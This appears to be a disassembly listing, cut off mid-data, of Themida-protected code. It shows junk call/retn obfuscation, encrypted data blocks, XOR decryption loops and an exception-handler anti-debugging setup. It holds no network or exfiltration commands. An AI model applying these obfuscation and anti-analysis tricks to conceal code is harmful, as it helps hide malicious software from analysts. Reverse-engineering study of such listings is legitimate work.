Themida_:005CBD52j push 0 push 0 push ebp call sub_5CBD66 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CBD66 proc near ; CODE XREF: Themida_:005CBD5Ep arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_5CBD66 endp ; --------------------------------------------------------------------------- dw 0B288h ; --------------------------------------------------------------------------- cmc call dword ptr [ebp+7FA1019h] mov ecx, 7B3h mov di, cx and ecx, 0FFFFFFFCh cld push 0 push eax call sub_5CBD96 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CBD96 proc near ; CODE XREF: Themida_:005CBD8Ep arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 16h inc eax push eax retn sub_5CBD96 endp ; --------------------------------------------------------------------------- dec ebx ja short sub_5CBE02 mov eax, 0 sub edi, [ebp+7FA2769h] mov edx, 0 add [ebp+7FA30F1h], edx loc_5CBDBF: ; CODE XREF: Themida_:005CBDC9j lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_5CBDBF mov di, 0E676h or eax, 88h mov [ebp+7FA2C95h], esi pusha jmp loc_5CBDED ; --------------------------------------------------------------------------- dd 87324864h, 0CDBCEF0h, 0C3813913h db 80h ; --------------------------------------------------------------------------- loc_5CBDED: ; CODE XREF: Themida_:005CBDDBj add ah, 0A8h popa mov edx, [ebp+7FA1CD9h] push 0 push ebp call sub_5CBE02 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CBE02 proc near ; CODE XREF: Themida_:005CBDA7j ; Themida_:005CBDFAp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_5CBE02 endp ; --------------------------------------------------------------------------- push ebp sti sahf mov di, si mov ecx, [ebp+7FA31ADh] push 0 push edx call sub_5CBE29 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CBE29 proc near ; CODE XREF: Themida_:005CBE21p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_5CBE29 endp ; --------------------------------------------------------------------------- db 27h, 0EFh, 7 dd 0DAC1A679h, 830F60C5h, 6, 68D9D8Bh, 8B5007FAh, 3188BC2h dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 17h, 76C35343h, 57CA07AAh, 8E97DB81h dd 835B1AABh, 0FA2A29BDh, 840F0007h, 85h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 14h, 0E8C35545h, 9E9h dd 8EA04E00h, 0E2990F33h, 0B84BAAh, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h dd 9273C351h, 89BD8BEBh, 8D07FA1Fh, 0FA4F668Dh, 56006A07h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 57DD60E4h, 0C426A0F6h, 8BE1FF64h, 0FA0FC19Dh, 0D9BD8307h dd 7FA2Bh, 411840Fh, 0BD8B0000h, 7FA31D1h, 2BD9BD83h, 0F0107FAh dd 41984h, 5268BF00h, 0F6061A7h, 68Ch, 0D958B00h, 3107FA2Eh dd 0FA155585h, 0BD836107h, 7FA2BD9h, 0BD860F03h, 6A000003h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 5AE4C356h, 9DA4E21Bh, 601CE31Ah, 90C6BB66h dd 66D98C66h, 947CF81h, 6A04E180h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 2055C351h dd 0AF8993Dh, 11840FC9h, 6A000001h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0CDAEC353h dd 8B8E6A9Fh, 0FA0FE985h, 919D8907h, 3307FA1Fh, 0FA15E185h dd 56006A07h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 0FC7B39BDh, 0E9B2D496h, 0FEB70F2Eh, 0D4BB6650h dd 24048954h, 24259D01h, 6A07FAh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 99C35242h, 810FEB43h, 15h dd 10E9h, 7ADA7400h, 0DD9FB605h, 17021F8Ch, 0D3AA5AEDh dd 94726865h, 0D98B12F6h, 8D243481h, 6A12E997h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 9A5BC357h, 2A8202E0h, 0A4C0589Ch, 6870Fh, 0BD0B0000h dd 7FA17C5h, 5D9D0160h, 0F07FA28h, 68Eh, 819D8B00h, 6107FA16h dd 1CE995FFh, 0EB307FAh, 0EB968589h, 9D8B07FDh, 7FA20B9h dd 199E9h, 0FE8B6600h, 0EB8E858Bh, 0C7FC07FDh, 1800h, 0A5B58900h dd 8B07FA1Ch, 0FDEB92B5h, 62C38107h, 8B43C122h, 0FA0D5185h dd 0A58D8907h, 8907FA0Ah, 25950106h, 8B07FA22h, 0FA0FE985h dd 0C58D8907h, 8907FA22h, 6A0446h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 81668DC3h, 60D7E8EFh dd 66D8531h, 14E907FAh, 0B3000000h, 0E1663E2Ch, 8176B48Fh dd 67EEF362h, 7663E2A8h, 6158E376h, 0BB6FBB66h, 0F505096h dd 282h, 5FD88B00h, 0D9958996h, 0FF07FA22h, 0FDEB8EB5h dd 56006A07h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 3472FE9Ah, 8E926F8h, 8D000000h, 8F06F149h dd 6866E803h, 22A29097h, 81F88B66h, 93682434h, 6A22BDh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 1CAF05C3h, 6F6FF67Ch, 8BD98A4Eh, 96858DDEh, 6A07FDEBh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 1F52C357h, 0AE99048h, 0AF000000h, 0C6E863BCh dd 46FD5ADEh, 7E850AAh, 44000000h, 10007E16h, 0D98BEF98h dd 6A905Fh, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h dd 50400000h, 0B4A632C3h, 6058525Fh, 0FE9h, 0C590DA00h dd 0A49EA1EEh, 66E9BA49h, 0A0BD7F6Ah, 1549BD89h, 96107FAh dd 0FA20F98Dh, 0E995FF07h, 0F07FA1Ch, 6A61FBBFh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 0C98DC356h, 0B42146C2h, 8E50F5F0h, 7E9h, 0DE84F900h dd 0C1E44508h, 2D4D8D89h, 85C707FAh, 7FA2BD9h, 3, 10E8h dd 0FE841900h, 6542C434h, 76DE8A23h, 927E18BBh, 5FBBB3C8h dd 0EB96BD83h, 0F0007FDh, 5384h, 0BB666000h, 14E98B93h dd 35000000h, 778B887Bh, 0A4B60819h, 0B43C1361h, 7C8A89EDh dd 61819424h, 4AE9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 59070F61h, 0FE8B6691h dd 68D0Fh, 85310000h, 7FA07B5h, 110C3050h, 1114400h, 3010E8C1h dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h dd 0EBE77504h, 0E8C08B00h, 0Bh, 0B443945Eh, 84D1239Ah dd 0B01D176h, 0FA0011BDh, 6A5F07h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 0D4FBFC3h, 2DBB66ECh dd 25B5898Dh, 8307FA24h, 0FA2BD9BDh, 850F0307h, 45Fh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0B8C35646h, 7EE41C77h dd 34ECBF66h, 0EB96BD83h, 0F0007FDh, 42E84h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 8BB0DB52h, 0FA0511BDh, 69858907h, 0FF07FA2Fh, 0FDEB96B5h dd 0FFDF8B07h, 0FA274595h, 6880F07h, 9000000h, 0FA2F7185h dd 8AB58B07h, 0E907FDEBh, 0Bh, 96D91067h, 0BF9AA8CFh, 0C7067702h dd 1000106h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 9693B7D9h, 7BB16050h, 9661CF8Bh dd 0E08FD381h, 9D8954B2h, 7FA2ED1h, 0EB96B5FFh, 6A07FDh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 70B4A1C3h, 0C70F21C3h, 29858B60h, 3107FA1Eh, 0FA2C259Dh dd 0B70F6107h, 0E195FFFAh, 3307FA18h, 0FA26399Dh, 8F0F07h dd 8B000000h, 0FDEB8AB5h, 56006A07h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 0BB52E8AFh dd 93B53D64h, 0D7816660h, 8B61AB9Eh, 7D858BD8h, 8907FA1Ch dd 0FA00B9BDh, 0C4868907h, 81000000h, 28AE98F3h, 0D9958B5Bh dd 6A07FA1Ch, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 389EC350h, 7ABEEB57h, 0A800Fh dd 870F0000h, 4, 8CBCBF66h, 0C2830EB7h, 50006A04h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 31BD1625h, 0B7515698h, 205089F7h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 98C35545h, 0D7245D9Eh, 66471BC5h dd 858DFB8Bh, 7FDFEF7h, 15EDBD8Bh, 868907FAh, 0B8h, 6A006AF8h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h dd 42000000h, 0B46FC352h, 0B5FFEE16h, 7FDEB96h, 1C9595FFh dd 6A07FAh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 6F5DABC3h, 544538CCh, 2D9D0929h, 5007FA24h dd 6A243489h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 7FEEC351h, 14E9h, 9B014300h, 24211671h dd 0E6B70A9Bh, 0C64B31CEh dd 0EE36C38Fh, 96B5FF8Ch, 0E807FDEBh, 11h, 626E7288h, 8125D36Ah dd 9955D637h, 44F7C988h, 5FFA8A35h, 1D9595FFh, 6A07FAh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 5EF171C3h, 131BD83h, 0F0007FAh, 7484h, 0FE900h, 57990000h dd 45F78052h, 93B99289h, 0C690C5CAh, 0E9605036h, 0Ch, 8A4EBED7h dd 73C8321Bh, 3A6F5B7Eh, 11E85250h, 61000000h, 0BBAB919Bh dd 0E1F855FFh, 0ECA8E169h, 60267497h, 0B3310F58h, 61585A8Ah dd 6A243489h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 16042444h, 42000000h, 0FBF7C352h, 19BD8BF0h, 5707FA1Ch dd 247EBB66h, 96B5FF5Bh, 6A07FDEBh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 5367C351h dd 3840Fh, 0DF800000h, 95FF5F53h, 7FA1CB5h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 37C35242h, 36307222h dd 0B9B5014Dh, 0FF07FA17h, 0FDEB96B5h, 56006A07h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 43209B4Ah, 23659D03h, 95FF07FAh, 7FA21ADh, 0D8BF0F60h dd 8218529h, 836107FAh, 0FA2221BDh, 840F0207h, 4Dh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 56C35646h, 8BDFB23Ah dd 0FA161585h, 0C607h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 17h, 1AC35545h, 3025B33h, 0FA18B1BDh, 0DD85C707h dd 7FA16h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 0E978C353h, 0FFFFF3EEh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0B6C35747h, 0E073CAE9h dd 0F9BF66A5h, 6AC18B69h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 0DC14C353h, 0F1853425h dd 858DA50Ah, 7FA0199h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 0F3C35040h, 0A1C3F032h, 0CB35BB66h, 0D8816660h dd 9529CB4Ah, 7FA3231h, 870F5061h, 2, 4895B56h, 50006A24h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 6AC6E7h, 23D78166h, 66006AF9h, 0F2A3D781h, 95F5858Dh dd 0DE807FEh, 44000000h, 9CBADA34h, 34F08DC8h, 0EE7AFDE6h dd 0DC98529h, 835B07FAh, 6A05C0h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 586CADC3h, 504D0EB0h dd 489F88Bh, 0B5852924h, 8007FA26h, 6A40EBh, 6AFA8Bh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0A6C35343h, 0BD8BB55Ah dd 7FA22F9h, 0FFECC780h, 0FA2BE995h, 52006A07h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 4C3C8B8Fh dd 8BA456A5h, 0FA26559Dh, 118D8D07h, 0F507FDD7h, 6AD1FFh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 8B3AB9C3h, 0A9E54939h, 5D9D89E6h, 8907FA0Eh, 0FA1F1195h dd 0EDBD8307h, 107FA33h, 6C850Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 45BF53C3h dd 2B0A5781h, 0F7816054h, 60EEFF8Dh, 0A66DB966h, 0F9026A61h dd 0B896BB90h, 0B350158Fh, 6A90F3h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 160424h, 55450000h, 27FC3AC3h dd 0F45BD0Bh, 95FF07FAh, 7FA1C95h, 0BF6628B7h, 0B5E90078h dd 0E800000Dh, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 7FE95FFh push 0 push esi call sub_5CCA52 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CCA52 proc near ; CODE XREF: Themida_:005CCA4Ap arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_5CCA52 endp ; --------------------------------------------------------------------------- popf sub [ebp+7FA0E15h], ebx mov ebx, edx push 0 push ebp call sub_5CCA76 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CCA76 proc near ; CODE XREF: Themida_:005CCA6Ep arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ch inc ebp push ebp retn sub_5CCA76 endp ; --------------------------------------------------------------------------- aam 4Eh sar byte ptr [edx-2Dh], 0B5h dec ecx dec ecx push ebp lea eax, [ebp+7FDB959h] sub [ebp+7FA21CDh], ecx push eax mov bh, al mov [esp], eax add [ebp+7FA29BDh], edi push large dword ptr fs:0 push 0 push eax call sub_5CCAB9 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CCAB9 proc near ; CODE XREF: Themida_:005CCAB1p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_5CCAB9 endp ; --------------------------------------------------------------------------- db 20h, 89h, 95h dd 7FA07CDh, 258964h, 66000000h, 0D7F2DB81h, 104985FFh dd 6A07FAh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 0FF6ACDC3h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 0D6C35040h, 0B5FFE112h, 7FA3391h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 8AC35040h, 0FFC4542Ah dd 0FA287595h, 118E907h, 0B5890000h, 7FA08C1h, 816600B0h dd 0E6952CCBh, 0C7BB6670h, 8B71E409h, 0FA23F59Dh, 0F613C07h dd 0F583h, 28BF6600h, 0F9B70F5Eh, 9C8B60Fh, 0FA23E1BDh dd 6BA07h, 0C18B0000h, 18C58529h, 0E8C107FAh, 5E904h, 0F4300000h dd 662F61E8h, 0C82BE2F7h, 33E9B589h, 0D18B07FAh, 0E9FBBF0Fh dd 6, 28159D8Bh, 858B07FAh, 7FA00F9h, 13E8h, 0A84A3A00h dd 655F58Fh, 3DEDE02Bh, 7EDF5284h, 0E5D8CE2Fh, 2D858D09h dd 835F07FAh, 895107C0h, 0FA2531BDh, 0C0835B07h, 0D59D8900h dd 3B07FA17h, 27830FD0h, 89000000h, 0FA1E85BDh, 8A0F6007h dd 6, 1485BD89h, 0BD2907FAh, 7FA1649h, 50E961h, 81660000h dd 6628D0EFh, 8D8BF88Bh, 7FA2EF1h, 8BB9F780h, 0FA24EDBDh dd 1E18307h, 30840Fh, 0BD8B0000h, 7FA2B41h, 2EF1A583h dd 31FE07FAh, 0FA33859Dh, 6890F07h, 8B000000h, 0FA0C9D9Dh dd 0F9958907h, 3307FA00h, 0FA3195BDh, 0E907h, 0B58D0000h dd 7FE24D3h, 6A006AF8h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 0C29EC352h, 95FF5595h dd 7FA1019h, 13E9h, 1066BF00h, 150BED0Eh, 4B8F5ED3h, 591BC754h dd 0B1AF10CDh, 804B9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 9A4BB565h, 0B99589F0h dd 8307FA24h, 6AFCE1h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 3BBBA7C3h, 0E9F44ABEh, 12h, 2A7DC86Ch dd 72BFCA8Dh, 6266718Bh, 66DC3FF2h, 9FB338A7h, 57006AFCh dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 9725910Dh, 662ED2F7h, 8B806EBBh, 0FA0D2D9Dh, 0B807h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 5DB9B4C3h, 9C4C65E5h, 0BAh, 0C233AD00h, 0D003E8D1h dd 7504E983h, 6AFB8BF4h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 8724C357h, 67AAD642h dd 880Dh, 0D9958B00h, 5607FA1Ch, 68B0Fh, 95890000h, 7FA2B99h dd 0AD8D8B5Bh, 2307FA31h, 0FA231DBDh, 0C28B5007h, 0C103188Bh dd 0C18B188Bh, 0C203E8D1h, 8958188Bh, 0FA010995h, 56006A07h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 3D758E8Ah, 1F199D89h, 0BD8307FAh, 7FA2A29h, 6C840F00h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 0A0ABC356h, 8D9D8BC5h, 0B807FA21h dd 0 ; --------------------------------------------------------------------------- sub [ebp+7FA0829h], edi lea ecx, [ebp+7FA4F66h] push 0 push eax call sub_5CCE4B loc_5CCE48: ; CODE XREF: Themida_:005CCEB2j and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CCE4B proc near ; CODE XREF: Themida_:005CCE43p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_5CCE4B endp ; --------------------------------------------------------------------------- xor al, [edx] lodsb dec esi mov [ebp+7FA2D75h], ecx mov [ebp+7FA0E5Dh], ebx jmp ecx ; --------------------------------------------------------------------------- jle loc_5CCE77 mov di, 0A84Ah loc_5CCE77: ; CODE XREF: Themida_:005CCE6Dj cmp dword ptr [ebp+7FA2BD9h], 0 jz loc_5CD2DB mov [ebp+7FA32A9h], esi cmp dword ptr [ebp+7FA2BD9h], 1 jz loc_5CD2F6 push 0 push esi call sub_5CCEA2 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CCEA2 proc near ; CODE XREF: Themida_:005CCE9Ap arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 16h inc esi push esi retn sub_5CCEA2 endp ; --------------------------------------------------------------------------- jecxz short loc_5CCE48 not byte ptr [ebx+66h] mov ebx, 835B2A2Ah mov ebp, 7FA2BD9h add ecx, [edi] xchg bh, al add eax, [eax] add [edx+0], ch push ebp call sub_5CCED3 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CCED3 proc near ; CODE XREF: Themida_:005CCECBp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ch inc ebp push ebp retn sub_5CCED3 endp ; --------------------------------------------------------------------------- db 0ADh dd 0EA49F4AFh, 2E8A1347h, 5810Fh, 81660000h, 66FA54EFh dd 6A60FB8Bh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 4D4EC355h, 9529B68Eh, 7FA293Dh dd 5E9h, 0B2F2A700h, 8C668207h, 199D8BD9h, 8B07FA2Bh, 0FA08919Dh dd 4E18007h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 0BDC35242h, 885F6A46h, 89ABC65Fh, 0FA0CAD9Dh, 0FC90A07h dd 0C884h, 8BF98B00h, 0FA0FE985h, 45BD8B07h, 3307FA2Ch dd 0FA15E185h, 0D1BD8B07h, 5007FA25h, 0BFEFB660h, 417BD9F5h dd 24048961h, 5E9h, 0F6DE0A00h, 6AF449h, 11C19D09h, 0F26807FAh dd 0BBDCCB4Bh, 2C9C05C1h, 0D240481h, 6A2353B8h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 6A9FC350h, 9D31158Eh, 7FA223Dh, 0FF29F380h, 0FA1CE995h dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 8E86093h, 30000000h, 0A4F8D291h, 8B089A73h dd 0FA345D9Dh, 89605907h, 0FA2F699Dh, 61F78B07h, 96858961h dd 6607FDEBh, 0E9BF93BFh, 230h, 0FF8002BBh, 8E858B0Ch dd 8B07FDEBh, 0FA2639BDh, 1800C707h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 7F6EC353h, 0AEC38166h, 92B58BEEh, 6A07FDEBh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 6ACCC352h, 0EBA4F09Dh, 68F0Fh, 0CB810000h, 1FE0373Eh dd 0D51858Bh, 6A07FAh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 4640CCC3h, 16528537h, 8589518Ch dd 7FA2C21h, 0E806895Bh, 0Fh, 0A5C05FB2h, 0B5E78AC2h, 0F3B24655h dd 0F20E33Eh, 8B5BDBBFh, 0FA0FE985h, 57006A07h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 2278A2CCh dd 9DEE71Dh, 0C381FE4Bh, 47A6621Dh, 6A044689h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 77AC353h, 0AA0AF49Ah, 0DE8A3h, 7B7A0000h, 6BEEAF67h dd 58BF30F1h, 8B99CF0Dh, 8B0F5BF9h, 0Bh, 0CAB70F60h, 0D459D33h dd 506107FAh, 68B0Fh, 840F0000h, 0 ; --------------------------------------------------------------------------- mov [esp], esi jmp loc_5CD181 ; --------------------------------------------------------------------------- dd 59A29F55h, 0EA7D08E6h db 0B3h ; --------------------------------------------------------------------------- loc_5CD181: ; CODE XREF: Themida_:005CD173j push dword ptr [ebp+7FDEB8Eh] push 0 push esi call sub_5CD192 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CD192 proc near ; CODE XREF: Themida_:005CD18Ap arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_5CD192 endp ; --------------------------------------------------------------------------- dw 0E0E8h dd 829F7580h, 9EA36365h, 0D78B6660h, 33E98531h, 686107FAh dd 0E100DFA4h, 81FA8B66h, 245B2404h, 0E9601F1Eh, 0Dh, 33F63807h dd 0E3F77EF7h, 9D34BDABh, 6840F6Ah, 1000000h, 0FA02D9BDh dd 858D6107h, 7FDEB96h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 1C35545h, 0B19B4188h, 0E850D88Bh, 9 dd 0EE3F3407h, 8E36A33Bh, 6E969h, 4EEC0000h, 89B513A8h dd 2404895Fh, 0A61ABB66h, 0FFD8BF0Fh, 0FA1CE995h, 55006A07h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 84299219h, 8D89D90Eh, 7FA11B1h, 53006A61h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 0B157CEB4h dd 2BD985C7h, 307FAh, 3BBB0000h, 8303D9D1h, 0FDEB96BDh dd 840F0007h, 24h, 14E9h, 957B0000h, 8ABDB954h, 6A1CFD28h dd 3A10F24Dh, 4D1EA6ACh, 21E9DEh, 9D890000h, 7FA07A1h dd 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h db 0E7h, 0EBh, 36h ; --------------------------------------------------------------------------- loc_5CD2DB: ; CODE XREF: Themida_:005CCE7Ej ; Themida_:005CD2F2j push eax xor [ecx+edx], al add [ecx+edx+1], ah shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], ah pop eax sub ecx, 4 jnz short loc_5CD2DB jmp short loc_5CD311 ; --------------------------------------------------------------------------- loc_5CD2F6: ; CODE XREF: Themida_:005CCE91j ; Themida_:005CD30Dj push eax shr eax, 10h sub [ecx+edx+3], ah xor [ecx+edx+2], al pop eax sub [ecx+edx+1], ah xor [ecx+edx], al sub ecx, 4 jnz short loc_5CD2F6 jmp short $+2 loc_5CD311: ; CODE XREF: Themida_:005CD2F4j mov eax, eax call near ptr locret_5CD31F+2 jb short near ptr loc_5CD31B+1 insb loc_5CD31B: ; CODE XREF: Themida_:005CD318j out 77h, eax aad 0D1h locret_5CD31F: ; CODE XREF: Themida_:005CD313p db 66h retn 8B66h ; --------------------------------------------------------------------------- fcomp dword ptr [edi-77h] mov ch, 59h and edi, edx pop es cmp dword ptr [ebp+7FA2BD9h], 3 jnz loc_5CD7BE movzx ebx, ax cmp dword ptr [ebp+7FDEB96h], 0 jz loc_5CD7BE push 0 push ebx call sub_5CD353 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CD353 proc near ; CODE XREF: Themida_:005CD34Bp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 19h inc ebx push ebx retn sub_5CD353 endp ; --------------------------------------------------------------------------- push ds les ebx, [ebx] mov [ebx+23h], ah mov ebp, 7FA07C9h push dword ptr [ebp+7FDEB96h] mov [ebp+7FA2AE1h], edx call dword ptr [ebp+7FA2745h] jmp loc_5CD391 ; --------------------------------------------------------------------------- dw 0DB85h dd 53C55F5Dh, 165A4139h db 0C4h ; --------------------------------------------------------------------------- loc_5CD391: ; CODE XREF: Themida_:005CD381j mov esi, [ebp+7FDEB8Ah] mov edi, [ebp+7FA0AF1h] mov dword ptr [esi], 10001h movsx ebx, dx push eax call near ptr loc_5CD3AF+2 std jz short loc_5CD423 loc_5CD3AF: ; CODE XREF: Themida_:005CD3A7p sub eax, 108E0F3Fh ; --------------------------------------------------------------------------- dd 0E9000000h, 0Bh, 6C7ECAA2h, 0C17B0C43h, 5B152A55h, 6A243489h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 0C5E1C352h, 81F3F5A5h, 0A56076F7h, 96B5FF59h dd 6A07FDEBh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 9F10C355h, 424665B7h, 0FFF8105Fh dd 0FA18E195h ; --------------------------------------------------------------------------- pop es push 0 loc_5CD423: ; CODE XREF: Themida_:005CD3ADj push esi call sub_5CD42C and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CD42C proc near ; CODE XREF: Themida_:005CD424p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 15h inc esi push esi retn sub_5CD42C endp ; --------------------------------------------------------------------------- dd 0DE8B135h, 0EE000000h, 1EC9D18Eh, 0B238530Eh, 19DCC8C5h dd 6820F5Bh, 8B000000h, 0FA0B61BDh, 8AB58B07h, 8907FDEBh dd 0FA2C55B5h, 55BD8907h, 8B07FA0Ah, 0FA1C7D85h, 55006A07h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 799D894Ch, 0F07FA0Ah, 38Fh, 0DFBF0F00h, 0C48689h, 0D7810000h dd 6D86F41Ah, 8BC7CB80h, 0FA1CD995h, 56006A07h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 6BAF6AF6h dd 83F32DE0h, 2BEDBD8Bh, 0C28307FAh, 51006A04h, 3E8h, 0C3592000h dd 244C8959h, 